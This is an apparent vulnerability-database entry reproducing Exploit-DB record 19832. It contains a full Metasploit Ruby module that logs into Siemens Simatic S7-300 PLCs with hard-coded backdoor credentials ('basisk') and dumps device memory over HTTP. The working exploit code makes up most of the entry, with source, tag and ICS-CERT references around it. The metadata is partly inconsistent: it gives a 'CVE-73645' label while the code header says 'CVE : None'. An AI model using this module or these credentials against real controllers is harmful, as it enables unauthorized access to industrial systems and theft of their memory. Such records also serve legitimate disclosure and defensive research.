ID

VAR-E-201207-0044


EDB ID

19832


TITLE

Siemens Simatic S7-300 - PLC Remote Memory Viewer (Metasploit) - Hardware remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 19832

DESCRIPTION

Siemens Simatic S7-300 - PLC Remote Memory Viewer (Metasploit). CVE-73645 . remote exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 19832

AFFECTED PRODUCTS

vendor:siemensmodel:simatic s7-300scope: - version: -

Trust: 1.5

vendor:siemensmodel:simatic s7-1200scope: - version: -

Trust: 0.5

vendor:siemensmodel:simatic s7-300/400scope: - version: -

Trust: 0.5

sources: PACKETSTORM: 114746 // PACKETSTORM: 114744 // PACKETSTORM: 114745 // EXPLOIT-DB: 19832

EXPLOIT

# Exploit Title: Siemens Simatic S7 300 Remote Memory Viewer Backdoor
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-1200 PLC
# CVE : None

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(update_info(info,
'Name' => 'Siemens Simatic S7-300 PLC Remote Memory Viewer',
'Description' => %q{ This module attempts to authenticate using a hard-coded backdoor password in
the Simatic S7-300 PLC and dumps the device memory using system commands.
Mode: Values 8, 16 or 32 bit access
Valid address areas are:
80000000 - 81FFFFFF SD-Ram cached
A0000000 - A1FFFFFF SD-Ram uncached
A8000000 - A87FFFFF Norflash
AFC00000 - AFC7FFFF ED-Ram int. uncached
BFE00000 - BFEFFFFD COM-ED-Ram ext.
C0000000 - C007FFFF ED-Ram int. cached
D0000000 - D0005FFF Scratchpad data int.
D4000000 - D4005FFF Scratchpad code int.
F0100000 - F018FFFF SPS-Asic 16-Bit access only
},
'Author' => 'Dillon Beresford',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-204-01%20S7-300_S7-400.pdf' ],
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
],
'Version' => '$Revision$',
'DisclosureDate' => 'June 2011'
))
register_options(
[
Opt::RPORT(8080),
OptString.new('USER', [ true, 'Simatic S7-300 hardcoded username.', 'basisk']),
OptString.new('PASS', [ true, 'Simatic S7-300 hardcoded password.', 'basisk']),
OptString.new('MODE', [ true, 'Memory Read Mode (8-bit, 16-bit, 32-bit)', '32']),
OptString.new('HEX', [ true, 'Simatic S7-300 memory offset', '1']),
OptString.new('OFFSET', [ true, 'Simatic S7-300 memory offset']),
OptString.new('LENGTH', [ true, 'Memory Dump Length in Bits', '256'])
], self.class)
end

def run_host(ip)

begin
user = datastore['USER']
pass = datastore['PASS']

print_status("Attempting to connect to #{rhost}:#{rport}")
len = '1024'
login = send_request_raw(
{
'method' => 'GET',
'uri' => "/login?User="+user+"&Password="+pass
})

if (login)

request = send_request_raw(
{
'method' => 'GET',
'uri' => "/tools/MemoryDump?Address="+datastore['OFFSET']+"&"+"Hex="+datastore['HEX']+"&"+"Length="+datastore['LENGTH']+"&Mode="+ datastore['MODE']
})
if (request and request.code == 200)

print_good("Success! Dumping Memory on #{rhost} \r\n\n#{request.body}")
elsif (request and request.code)
print_error("Attempt #HTTP error #{request.code} on #{rhost}")
end
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
rescue ::LocalJumpError
end
end
end

Trust: 1.0

sources: EXPLOIT-DB: 19832

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 19832

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 19832

TYPE

PLC Remote Memory Viewer (Metasploit)

Trust: 1.0

sources: EXPLOIT-DB: 19832

TAGS

tag:exploit

Trust: 1.5

tag:remote

Trust: 1.0

tag:Metasploit Framework (MSF)

Trust: 1.0

sources: PACKETSTORM: 114746 // PACKETSTORM: 114744 // PACKETSTORM: 114745 // EXPLOIT-DB: 19832

CREDITS

Dillon Beresford

Trust: 0.6

sources: EXPLOIT-DB: 19832

EXTERNAL IDS

db:ICS CERT ALERTid:ICS-ALERT-11-161-01

Trust: 4.9

db:ICS CERT ALERTid:ICS-ALERT-11-186-01

Trust: 4.9

db:ICS CERT ALERTid:ICS-ALERT-11-204-01

Trust: 2.7

db:EXPLOIT-DBid:19832

Trust: 1.6

db:EDBNETid:42020

Trust: 0.6

db:EDBNETid:61411

Trust: 0.6

db:EDBNETid:61413

Trust: 0.6

db:EDBNETid:61412

Trust: 0.6

db:PACKETSTORMid:114746

Trust: 0.5

db:PACKETSTORMid:114744

Trust: 0.5

db:PACKETSTORMid:114745

Trust: 0.5

sources: PACKETSTORM: 114746 // PACKETSTORM: 114744 // PACKETSTORM: 114745 // EXPLOIT-DB: 19832 // EDBNET: 42020 // EDBNET: 61411 // EDBNET: 61413 // EDBNET: 61412

REFERENCES

url:https://www.intelligentexploit.com

Trust: 1.8

url:https://www.exploit-db.com/exploits/19832/

Trust: 0.6

sources: EDBNET: 42020 // EDBNET: 61411 // EDBNET: 61413 // EDBNET: 61412

SOURCES

db:PACKETSTORMid:114746
db:PACKETSTORMid:114744
db:PACKETSTORMid:114745
db:EXPLOIT-DBid:19832
db:EDBNETid:42020
db:EDBNETid:61411
db:EDBNETid:61413
db:EDBNETid:61412

LAST UPDATE DATE

2022-07-27T09:30:20.860000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:114746date:2012-07-16T04:10:27
db:PACKETSTORMid:114744date:2012-07-16T04:06:39
db:PACKETSTORMid:114745date:2012-07-14T18:22:22
db:EXPLOIT-DBid:19832date:2012-07-14T00:00:00
db:EDBNETid:42020date:2012-07-14T00:00:00
db:EDBNETid:61411date:2012-07-17T00:00:00
db:EDBNETid:61413date:2012-07-17T00:00:00
db:EDBNETid:61412date:2012-07-17T00:00:00